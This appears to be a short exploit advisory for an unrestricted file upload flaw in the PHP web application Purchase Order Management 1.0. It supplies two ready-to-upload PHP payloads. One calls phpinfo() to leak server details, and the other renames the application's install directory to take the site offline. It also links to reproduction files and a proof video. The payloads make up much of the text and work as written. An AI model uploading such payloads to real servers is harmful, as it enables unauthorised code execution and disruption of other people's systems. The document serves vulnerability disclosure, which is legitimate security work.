Purchase Order Management 1.0 Shell Upload

`## Title: Purchase Order Management-1.0 - File Inclusion Vulnerabilities - Unprivileged user interaction - file upload in the server  
## Author: nu11secur1ty  
## Date: 03.06.2023  
## Vendor: https://www.sourcecodester.com/user/257130/activity  
## Software: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html  
## Reference: https://brightsec.com/blog/file-inclusion-vulnerabilities/  
  
## Description:  
The Purchase Order Management-1.0 suffer from File Inclusion Vulnerabilities.  
The users of this system are allowed to submit input into files or  
upload files to the server.  
The malicious attacker can get absolute control of this system!  
  
STATUS: CRITICAL Vulnerability  
  
  
[+]Get Info:  
  
```PHP  
<?php  
// by nu11secur1ty - 2023  
phpinfo();  
?>  
  
```  
[+]Exploit:  
  
```PHP  
<?php  
// by nu11secur1ty - 2023  
// Old Name Of The file  
$old_name = "C:/xampp7/htdocs/purchase_order/" ;  
  
// New Name For The File  
$new_name = "C:/xampp7/htdocs/purchase_order_stupid/" ;  
  
// using rename() function to rename the file  
rename( $old_name, $new_name) ;  
  
?>  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0)  
  
## Proof and Exploit:  
[href](https://streamable.com/vkq31h)  
  
## Time spend:  
00:35:00  
  
`